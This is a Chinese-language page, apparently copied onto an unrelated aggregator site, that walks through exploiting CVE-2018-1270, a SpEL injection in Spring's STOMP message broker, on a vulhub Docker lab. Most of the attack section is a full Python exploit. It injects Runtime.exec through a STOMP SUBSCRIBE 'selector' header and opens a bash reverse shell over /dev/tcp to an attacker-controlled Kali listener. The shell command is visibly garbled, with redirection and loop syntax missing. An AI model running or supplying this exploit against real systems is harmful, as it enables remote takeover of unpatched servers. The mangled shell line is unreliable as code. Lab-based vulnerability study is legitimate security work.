CVE

您所在的位置:网站首页 堡垒之夜下架 CVE

CVE

2023-04-29 22:39| 来源: 网络整理| 查看: 265

一、漏洞描述 Spring框架中的 spring-messaging 模块提供了一种基于WebSocket的STOMP协议实现,STOMP消息代理在处理客户端消息时存在SpEL表达式注入漏洞,攻击者可以通过构造恶意的消息来实现远程代码执行。 影响版本

Spring Framework 5.0 to 5.0.4

Spring Framework 4.3 to 4.3.14

二、漏洞环境搭建 需要使用的工具如下 1.docker+vulhub漏洞库 2.漏洞EXP 3.靶机Ubuntu18.04虚拟机和kali监听机(其他也可以)

打开Ubuntu虚拟机,有docker环境和vulhub漏洞库的话就直接进入环境,没有的话先安装docker和下载vulhub漏洞库(网上教程很多,这里就不多介绍了)

root@admin666-virtual-machine:~/vulhub-master/spring/CVE-2018-1270#

执行如下命令进行靶场环境搭建

root@admin666-virtual-machine:~/vulhub-master/spring/CVE-2018-1270# docker-compose up -d

出现done表示搭建完成!

可以访问http://your-ip:8080 ,出现如下页面表示搭建成功!

三、漏洞利用

直接上EXP,注意使用的时候修改监听IP和靶机地址

#!/usr/bin/env python3 import requests import random import string import time import threading import logging import sys import json logging.basicConfig(stream=sys.stdout, level=logging.INFO) def random_str(length): letters = string.ascii_lowercase + string.digits return ''.join(random.choice(letters) for c in range(length)) class SockJS(threading.Thread): def __init__(self, url, *args, **kwargs): super().__init__(*args, **kwargs) self.base = f'{url}/{random.randint(0, 1000)}/{random_str(8)}' self.daemon = True self.session = requests.session() self.session.headers = { 'Referer': url, 'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)' } self.t = int(time.time()*1000) def run(self): url = f'{self.base}/htmlfile?c=_jp.vulhub' response = self.session.get(url, stream=True) for line in response.iter_lines(): time.sleep(0.5) def send(self, command, headers, body=''): data = [command.upper(), '\n'] data.append('\n'.join([f'{k}:{v}' for k, v in headers.items()])) data.append('\n\n') data.append(body) data.append('\x00') data = json.dumps([''.join(data)]) response = self.session.post(f'{self.base}/xhr_send?t={self.t}', data=data) if response.status_code != 204: logging.info(f"send '{command}' data error.") else: logging.info(f"send '{command}' data success.") def __del__(self): self.session.close() sockjs = SockJS('http://你的靶机IP:8080/gs-guide-websocket') sockjs.start() time.sleep(1) sockjs.send('connect', { 'accept-version': '1.1,1.0', 'heart-beat': '10000,10000' }) sockjs.send('subscribe', { 'selector': 'T(java.lang.Runtime).getRuntime().exec(new String[]{"/bin/bash","-c","exec 5/dev/tcp/你的kaliIP/kali监听端口;cat &5 >&5; done"})', 'id': 'sub-0', 'destination': '/topic/greetings' }) data = json.dumps({'name': 'vulhub'}) sockjs.send('send', { 'content-length': len(data), 'destination': '/app/hello' }, data)

直接执行EXP,python

kali这边也成功获取到反弹的shell,攻击成功

四、关闭环境

docker-compose down



【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3